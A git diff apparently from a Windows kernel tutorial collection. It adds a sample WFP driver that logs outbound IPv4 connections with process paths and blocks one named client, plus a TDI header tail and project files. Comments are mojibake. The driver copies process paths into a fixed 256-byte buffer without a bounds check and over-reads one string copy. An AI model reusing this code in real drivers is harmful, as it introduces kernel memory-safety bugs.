(a&0xFF000000)>>24) +#define HTONS(a) (((a & 0xFF)<<8) + ((a & 0xFF00)>>8)) + + +VOID ShowError(PCHAR lpszText, NTSTATUS ntStatus); +// ɻص +NTSTATUS TdiCompletionRoutine(PDEVICE_OBJECT pDevObj, PIRP pIrp, PVOID pContext); +// TDIʼ +NTSTATUS TdiOpen(PDEVICE_OBJECT *ppTdiAddressDevObj, PFILE_OBJECT *ppTdiEndPointFileObject, HANDLE *phTdiAddress, HANDLE *phTdiEndPoint); +// TDI TCPӷ +NTSTATUS TdiConnection(PDEVICE_OBJECT pTdiAddressDevObj, PFILE_OBJECT pTdiEndPointFileObject, LONG *pServerIp, LONG lServerPort); +// TDI TCPϢ +NTSTATUS TdiSend(PDEVICE_OBJECT pTdiAddressDevObj, PFILE_OBJECT pTdiEndPointFileObject, PUCHAR pSendData, ULONG ulSendDataLength); +// TDI TCPϢ +ULONG_PTR TdiRecv(PDEVICE_OBJECT pTdiAddressDevObj, PFILE_OBJECT pTdiEndPointFileObject, PUCHAR pRecvData, ULONG ulRecvDataLength); +// TDIرͷ +VOID TdiClose(PFILE_OBJECT pTdiEndPointFileObject, HANDLE hTdiAddress, HANDLE hTdiEndPoint); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test.sln" new file mode 100644 index 0000000..d2a9d91 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "WFP_Network_Test", "WFP_Network_Test\WFP_Network_Test.vcxproj", "{E198E54E-25FC-44EF-A9E9-0EED0CC475F0}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test.v12.suo" new file mode 100644 index 0000000..854ad4c Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/Driver.c" new file mode 100644 index 0000000..3b632c0 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/Driver.c" @@ -0,0 +1,78 @@ +#include "Driver.h" +#include "WFP_Network.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // 豸 + CreateDevice(pDriverObject); + + // WFP + WfpLoad(pDriverObject->DeviceObject); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ + // ɾص͹,ر + WfpUnload(); + + UNICODE_STRING ustrSymName; + RtlInitUnicodeString(&ustrSymName, SYM_NAME); + IoDeleteSymbolicLink(&ustrSymName); + if (pDriverObject->DeviceObject) + { + IoDeleteDevice(pDriverObject->DeviceObject); + } +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} + + +NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject) +{ + DbgPrint("Enter CreateDevice\n"); + NTSTATUS status = STATUS_SUCCESS; + PDEVICE_OBJECT pDevObj = NULL; + UNICODE_STRING ustrDevName, ustrSymName; + RtlInitUnicodeString(&ustrDevName, DEV_NAME); + RtlInitUnicodeString(&ustrSymName, SYM_NAME); + + status = IoCreateDevice(pDriverObject, 0, &ustrDevName, FILE_DEVICE_NETWORK, 0, FALSE, &pDevObj); + if (!NT_SUCCESS(status)) + { + ShowError("IoCreateDevice", status); + return status; + } + status = IoCreateSymbolicLink(&ustrSymName, &ustrDevName); + if (!NT_SUCCESS(status)) + { + ShowError("IoCreateSymbolicLink", status); + return status; + } + + DbgPrint("Leave CreateDevice\n"); + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/Driver.h" new file mode 100644 index 0000000..fc25195 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/Driver.h" @@ -0,0 +1,16 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +#define DEV_NAME L"\\Device\\MY_WFP_DEV_NAME" +#define SYM_NAME L"\\DosDevices\\MY_WFP_SYM_NAME" + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); +NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject); + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network.c" new file mode 100644 index 0000000..bbf0c85 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network.c" @@ -0,0 +1,386 @@ +#include "WFP_Network.h" + + +GUID GUID_ALE_AUTH_CONNECT_CALLOUT_V4 = { 0x6812fc83, 0x7d3e, 0x499a, 0xa0, 0x12, 0x55, 0xe0, 0xd8, 0x5f, 0x34, 0x8b }; + + +VOID ShowError(PCHAR lpszText, NTSTATUS ntStatus) +{ + KdPrint(("%s[Error:0x%X]\n", lpszText, ntStatus)); +} + + +// WFP +NTSTATUS WfpLoad(PDEVICE_OBJECT pDevObj) +{ + NTSTATUS status = STATUS_SUCCESS; + + // עCalloutù˵ + status = RegisterCalloutForLayer( + pDevObj, + &FWPM_LAYER_ALE_AUTH_CONNECT_V4, + &GUID_ALE_AUTH_CONNECT_CALLOUT_V4, + classifyFn, + notifyFn, + flowDeleteFn, + &g_AleConnectCalloutId, + &g_AleConnectFilterId, + &g_hEngine); + if (!NT_SUCCESS(status)) + { + ShowError("RegisterCalloutForLayer", status); + return status; + } + + return status; +} + + +// жWFP +NTSTATUS WfpUnload() +{ + if (NULL != g_hEngine) + { + // ɾFilterId + FwpmFilterDeleteById(g_hEngine, g_AleConnectFilterId); + // ɾCalloutId + FwpmCalloutDeleteById(g_hEngine, g_AleConnectCalloutId); + // Filter + g_AleConnectFilterId = 0; + // עCalloutId + FwpsCalloutUnregisterById(g_AleConnectCalloutId); + // CalloutId + g_AleConnectCalloutId = 0; + // ر + FwpmEngineClose(g_hEngine); + g_hEngine = NULL; + } + + return STATUS_SUCCESS; +} + + +// עCalloutù˵ +NTSTATUS RegisterCalloutForLayer( + IN PDEVICE_OBJECT pDevObj, + IN const GUID *layerKey, + IN const GUID *calloutKey, + IN FWPS_CALLOUT_CLASSIFY_FN classifyFn, + IN FWPS_CALLOUT_NOTIFY_FN notifyFn, + IN FWPS_CALLOUT_FLOW_DELETE_NOTIFY_FN flowDeleteNotifyFn, + OUT ULONG32 *calloutId, + OUT ULONG64 *filterId, + OUT HANDLE *engine) +{ + NTSTATUS status = STATUS_SUCCESS; + + // עCallout + status = RegisterCallout( + pDevObj, + calloutKey, + classifyFn, + notifyFn, + flowDeleteNotifyFn, + calloutId); + if (!NT_SUCCESS(status)) + { + return status; + } + + // ù˵ + status = SetFilter( + layerKey, + calloutKey, + filterId, + engine); + if (!NT_SUCCESS(status)) + { + return status; + } + + return status; +} + + +// עCallout +NTSTATUS RegisterCallout( + PDEVICE_OBJECT pDevObj, + IN const GUID *calloutKey, + IN FWPS_CALLOUT_CLASSIFY_FN classifyFn, + IN FWPS_CALLOUT_NOTIFY_FN notifyFn, + IN FWPS_CALLOUT_FLOW_DELETE_NOTIFY_FN flowDeleteNotifyFn, + OUT ULONG32 *calloutId) +{ + NTSTATUS status = STATUS_SUCCESS; + FWPS_CALLOUT sCallout = { 0 }; + + // Callout + sCallout.calloutKey = *calloutKey; + sCallout.classifyFn = classifyFn; + sCallout.flowDeleteFn = flowDeleteNotifyFn; + sCallout.notifyFn = notifyFn; + + // עCallout + status = FwpsCalloutRegister(pDevObj, &sCallout, calloutId); + if (!NT_SUCCESS(status)) + { + ShowError("FwpsCalloutRegister", status); + return status; + } + + return status; +} + + +// ù˵ +NTSTATUS SetFilter( + IN const GUID *layerKey, + IN const GUID *calloutKey, + OUT ULONG64 *filterId, + OUT HANDLE *engine) +{ + HANDLE hEngine = NULL; + NTSTATUS status = STATUS_SUCCESS; + FWPM_SESSION session = { 0 }; + FWPM_FILTER mFilter = { 0 }; + FWPM_CALLOUT mCallout = { 0 }; + FWPM_DISPLAY_DATA mDispData = { 0 }; + + // Session + session.flags = FWPM_SESSION_FLAG_DYNAMIC; + status = FwpmEngineOpen(NULL, + RPC_C_AUTHN_WINNT, + NULL, + &session, + &hEngine); + if (!NT_SUCCESS(status)) + { + ShowError("FwpmEngineOpen", status); + return status; + } + + // ʼ + status = FwpmTransactionBegin(hEngine, 0); + if (!NT_SUCCESS(status)) + { + ShowError("FwpmTransactionBegin", status); + return status; + } + + // Callout + mDispData.name = L"MY WFP TEST"; + mDispData.description = L"WORLD OF DEMON"; + mCallout.applicableLayer = *layerKey; + mCallout.calloutKey = *calloutKey; + mCallout.displayData = mDispData; + // CalloutSession + status = FwpmCalloutAdd(hEngine, &mCallout, NULL, NULL); + if (!NT_SUCCESS(status)) + { + ShowError("FwpmCalloutAdd", status); + return status; + } + + // ù + mFilter.action.calloutKey = *calloutKey; + mFilter.action.type = FWP_ACTION_CALLOUT_TERMINATING; + mFilter.displayData.name = L"MY WFP TEST"; + mFilter.displayData.description = L"WORLD OF DEMON"; + mFilter.layerKey = *layerKey; + mFilter.subLayerKey = FWPM_SUBLAYER_UNIVERSAL; + mFilter.weight.type = FWP_EMPTY; + // ӹ + status = FwpmFilterAdd(hEngine, &mFilter, NULL, filterId); + if (!NT_SUCCESS(status)) + { + ShowError("FwpmFilterAdd", status); + return status; + } + + // ύ + status = FwpmTransactionCommit(hEngine); + if (!NT_SUCCESS(status)) + { + ShowError("FwpmTransactionCommit", status); + return status; + } + + *engine = hEngine; + + return status; +} + + +// Callout classifyFn +#if (NTDDI_VERSION >= NTDDI_WIN8) + VOID NTAPI classifyFn( + _In_ const FWPS_INCOMING_VALUES0* inFixedValues, + _In_ const FWPS_INCOMING_METADATA_VALUES0* inMetaValues, + _Inout_opt_ void* layerData, + _In_opt_ const void* classifyContext, + _In_ const FWPS_FILTER2* filter, + _In_ UINT64 flowContext, + _Inout_ FWPS_CLASSIFY_OUT0* classifyOut + ) +#elif (NTDDI_VERSION >= NTDDI_WIN7) + VOID NTAPI classifyFn( + _In_ const FWPS_INCOMING_VALUES0* inFixedValues, + _In_ const FWPS_INCOMING_METADATA_VALUES0* inMetaValues, + _Inout_opt_ void* layerData, + _In_opt_ const void* classifyContext, + _In_ const FWPS_FILTER1* filter, + _In_ UINT64 flowContext, + _Inout_ FWPS_CLASSIFY_OUT0* classifyOut + ) +#else + VOID NTAPI classifyFn( + _In_ const FWPS_INCOMING_VALUES0* inFixedValues, + _In_ const FWPS_INCOMING_METADATA_VALUES0* inMetaValues, + _Inout_opt_ void* layerData, + _In_ const FWPS_FILTER0* filter, + _In_ UINT64 flowContext, + _Inout_ FWPS_CLASSIFY_OUT0* classifyOut + ) +#endif +{ + /* + WFP Ļصṩ˷ḻϢ WFP ŵ㣬 ΪøϢʾ֭ + FWPM_LAYER_ALE_AUTH_CONNECT_V4 Ļصܻý ID·ءԶ + ̵ IP ַ/˿ںԼЭ롣 ˬǴ˻صһָһֵ + л. + */ + ULONG ulLocalIp = inFixedValues->incomingValue[FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_LOCAL_ADDRESS].value.uint32; + UINT16 uLocalPort = inFixedValues->incomingValue[FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_LOCAL_PORT].value.uint16; + ULONG ulRemoteIp = inFixedValues->incomingValue[FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_REMOTE_ADDRESS].value.uint32; + UINT16 uRemotePort = inFixedValues->incomingValue[FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_REMOTE_PORT].value.uint16; + KIRQL kCurrentIrql = KeGetCurrentIrql(); + ULONG64 processId = inMetaValues->processId; + UCHAR szProcessPath[256] = { 0 }; + CHAR szProtocalName[256] = { 0 }; + RtlZeroMemory(szProcessPath, 256); + ULONG i = 0; + // ȡ· + for (i = 0; i < inMetaValues->processPath->size; i++) + { + // ǿַ洢 + szProcessPath[i] = inMetaValues->processPath->data[i]; + } + + // + classifyOut->actionType = FWP_ACTION_PERMIT; + + // ָֹ + if (NULL != wcsstr((PWCHAR)szProcessPath, L"tcpclient.exe")) + { + KdPrint(("TCPClient.exe[FWP_ACTION_BLOCK]\n")); + // ܾ + classifyOut->actionType = FWP_ACTION_BLOCK; + classifyOut->rights = classifyOut->rights & (~FWPS_RIGHT_ACTION_WRITE); + classifyOut->flags = classifyOut->flags | FWPS_CLASSIFY_OUT_FLAG_ABSORB; + } + // Эж + ProtocalIdToName(inFixedValues->incomingValue[FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_PROTOCOL].value.uint16, szProtocalName); + // ʾ + DbgPrint("Protocal=%s, LocalIp=%u.%u.%u.%u:%d, RemoteIp=%u.%u.%u.%u:%d, IRQL=%d, PID=%I64d, Path=%S\n", + szProtocalName, + (ulLocalIp >> 24) & 0xFF, + (ulLocalIp >> 16) & 0xFF, + (ulLocalIp >> 8) & 0xFF, + (ulLocalIp)& 0xFF, + uLocalPort, + (ulRemoteIp >> 24) & 0xFF, + (ulRemoteIp >> 16) & 0xFF, + (ulRemoteIp >> 8) & 0xFF, + (ulRemoteIp)& 0xFF, + uRemotePort, + kCurrentIrql, + processId, + (PWCHAR)szProcessPath); +} + +// Callout notifyFn +#if (NTDDI_VERSION >= NTDDI_WIN8) + NTSTATUS NTAPI notifyFn( + _In_ FWPS_CALLOUT_NOTIFY_TYPE notifyType, + _In_ const GUID* filterKey, + _Inout_ FWPS_FILTER2* filter + ) +#elif (NTDDI_VERSION >= NTDDI_WIN7) + NTSTATUS NTAPI notifyFn( + _In_ FWPS_CALLOUT_NOTIFY_TYPE notifyType, + _In_ const GUID* filterKey, + _Inout_ FWPS_FILTER1* filter + ) +#else + NTSTATUS NTAPI notifyFn( + _In_ FWPS_CALLOUT_NOTIFY_TYPE notifyType, + _In_ const GUID* filterKey, + _Inout_ FWPS_FILTER0* filter + ) +#endif +{ + NTSTATUS status = STATUS_SUCCESS; + + + return status; +} + + +// Callout flowDeleteFn +VOID NTAPI flowDeleteFn( + _In_ UINT16 layerId, + _In_ UINT32 calloutId, + _In_ UINT64 flowContext + ) +{ + return; +} + + +// Эж +NTSTATUS ProtocalIdToName(UINT16 protocalId, PCHAR lpszProtocalName) +{ + NTSTATUS status = STATUS_SUCCESS; + + switch (protocalId) + { + case 1: + { + // ICMP + RtlCopyMemory(lpszProtocalName, "ICMP", 5); + break; + } + case 2: + { + // IGMP + RtlCopyMemory(lpszProtocalName, "IGMP", 5); + break; + } + case 6: + { + // TCP + RtlCopyMemory(lpszProtocalName, "TCP", 4); + break; + } + case 17: + { + // UDP + RtlCopyMemory(lpszProtocalName, "UDP", 4); + break; + } + case 27: + { + // RDP + RtlCopyMemory(lpszProtocalName, "RDP", 6); + break; + } + default: + { + // UNKNOW + RtlCopyMemory(lpszProtocalName, "UNKNOWN", 8); + break; + } + } + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network.h" new file mode 100644 index 0000000..15aea1b --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network.h" @@ -0,0 +1,118 @@ +#ifndef _WFP_NETWORK_H_ +#define _WFP_NETWORK_H_ + + +#include +#include +#include + + +VOID ShowError(PCHAR lpszText, NTSTATUS ntStatus); + +// WFP +NTSTATUS WfpLoad(PDEVICE_OBJECT pDevObj); + +// жWFP +NTSTATUS WfpUnload(); + +// עCalloutù˵ +NTSTATUS RegisterCalloutForLayer( + IN PDEVICE_OBJECT pDevObj, + IN const GUID *layerKey, + IN const GUID *calloutKey, + IN FWPS_CALLOUT_CLASSIFY_FN classifyFn, + IN FWPS_CALLOUT_NOTIFY_FN notifyFn, + IN FWPS_CALLOUT_FLOW_DELETE_NOTIFY_FN flowDeleteNotifyFn, + OUT ULONG32 *calloutId, + OUT ULONG64 *filterId, + OUT HANDLE *engine); + +// עCallout +NTSTATUS RegisterCallout( + PDEVICE_OBJECT pDevObj, + IN const GUID *calloutKey, + IN FWPS_CALLOUT_CLASSIFY_FN classifyFn, + IN FWPS_CALLOUT_NOTIFY_FN notifyFn, + IN FWPS_CALLOUT_FLOW_DELETE_NOTIFY_FN flowDeleteNotifyFn, + OUT ULONG32 *calloutId); + +// ù˵ +NTSTATUS SetFilter( + IN const GUID *layerKey, + IN const GUID *calloutKey, + OUT ULONG64 *filterId, + OUT HANDLE *engine); + +// Callout classifyFn +#if (NTDDI_VERSION >= NTDDI_WIN8) + VOID NTAPI classifyFn( + _In_ const FWPS_INCOMING_VALUES0* inFixedValues, + _In_ const FWPS_INCOMING_METADATA_VALUES0* inMetaValues, + _Inout_opt_ void* layerData, + _In_opt_ const void* classifyContext, + _In_ const FWPS_FILTER2* filter, + _In_ UINT64 flowContext, + _Inout_ FWPS_CLASSIFY_OUT0* classifyOut + ); +#elif (NTDDI_VERSION >= NTDDI_WIN7) + VOID NTAPI classifyFn( + _In_ const FWPS_INCOMING_VALUES0* inFixedValues, + _In_ const FWPS_INCOMING_METADATA_VALUES0* inMetaValues, + _Inout_opt_ void* layerData, + _In_opt_ const void* classifyContext, + _In_ const FWPS_FILTER1* filter, + _In_ UINT64 flowContext, + _Inout_ FWPS_CLASSIFY_OUT0* classifyOut + ); +#else + VOID NTAPI classifyFn( + _In_ const FWPS_INCOMING_VALUES0* inFixedValues, + _In_ const FWPS_INCOMING_METADATA_VALUES0* inMetaValues, + _Inout_opt_ void* layerData, + _In_ const FWPS_FILTER0* filter, + _In_ UINT64 flowContext, + _Inout_ FWPS_CLASSIFY_OUT0* classifyOut + ); +#endif + +// Callout notifyFn +#if (NTDDI_VERSION >= NTDDI_WIN8) + NTSTATUS NTAPI notifyFn( + _In_ FWPS_CALLOUT_NOTIFY_TYPE notifyType, + _In_ const GUID* filterKey, + _Inout_ FWPS_FILTER2* filter + ); +#elif (NTDDI_VERSION >= NTDDI_WIN7) + NTSTATUS NTAPI notifyFn( + _In_ FWPS_CALLOUT_NOTIFY_TYPE notifyType, + _In_ const GUID* filterKey, + _Inout_ FWPS_FILTER1* filter + ); +#else + NTSTATUS NTAPI notifyFn( + _In_ FWPS_CALLOUT_NOTIFY_TYPE notifyType, + _In_ const GUID* filterKey, + _Inout_ FWPS_FILTER0* filter + ); +#endif + +// Callout flowDeleteFn +VOID NTAPI flowDeleteFn( + _In_ UINT16 layerId, + _In_ UINT32 calloutId, + _In_ UINT64 flowContext + ); + +// Эж +NTSTATUS ProtocalIdToName(UINT16 protocalId, PCHAR lpszProtocalName); + + +// +HANDLE g_hEngine; +// еcalloutʱʶ +ULONG32 g_AleConnectCalloutId; +// ʱʶ +ULONG64 g_AleConnectFilterId; + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network_Test.inf" new file mode 100644 index 0000000..11ba0cd --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network_Test.inf" @@ -0,0 +1,32 @@ +; +; WFP_Network_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="WFP_Network_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network_Test.vcxproj" new file mode 100644 index 0000000..293c7d5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/WFP\347\275\221\347\273\234\347\233\221\346\216\247/WFP_Network_Test/WFP_Network_Test/WFP_Network_Test.vcxproj" @@ -0,0 +1,269 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {E198E54E-25FC-44EF-A9E9-0EED0CC475F0} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug 